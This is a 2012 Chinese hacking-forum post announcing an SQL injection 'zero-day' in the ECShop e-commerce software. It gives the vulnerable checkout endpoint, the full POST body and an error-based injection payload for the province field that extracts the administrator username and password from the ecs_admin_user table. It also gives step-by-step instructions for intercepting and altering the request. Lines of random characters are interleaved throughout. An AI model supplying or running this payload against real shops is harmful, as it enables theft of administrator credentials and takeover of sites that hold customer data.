中国网络渗透测试联盟
标题:
ECShop全版本SQL注入0day
[打印本页]
作者:
admin
时间:
2012-12-31 09:19
标题:
ECShop全版本SQL注入0day
感谢欠杀的黑盒
- U/ R- I, v. W# R! G G/ a
( P! e+ ]9 t8 v6 E# B8 x" O
; C# K- q; s0 I. _9 H5 B' T, ]5 z
把任意商品加入购物车在填写配送地址那一页，有地区选择
. N$ x: v. z& ~# R/ a
4 O" U) ^. @4 B' I
flow.php?step=consignee&direct_shopping=1
" s0 Y' R9 ?: Z' T+ \; U
比如省选择安徽
# [. V% v" O8 l5 ^: C
) ` f3 J5 Y9 D: h* q- _. j" O
其中POST数据如下
" z, P1 T* z; T$ t
1 @' e6 B% q2 J7 B& p. X
country=1&province=3&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=province=3
R7 C% x, G$ m% A9 [& J) L
改成
, M( r8 z. S- M6 U6 n; [6 }
: X, s# ~( l+ Z8 d1 D
province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #
2 d8 e8 g5 w: ?% K p1 K7 s; {
ps：详细的方法，用火狐tamper data插件……..即可改post内容…..
/ t, P' e& `) m6 \
7 \ _. X8 M& r: U* ^
先注册账户，随便选个商品进购物车，然后填地址，电话什么的，填好开始抓包，改包
1 o. s0 Q2 n v4 C; A
9 D I( }. `% |" E+ |
就会回显错误页面了。。。。
& P3 l ]3 O. r; q8 @. V& P, A
5 l$ o0 ^) U7 b: w: A% B
我自己没用这个日站过，就测试了一个最新版和老版本，均ok，所以写全版本，理论上应该是的
4 _5 s) B9 r9 F, X( k
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2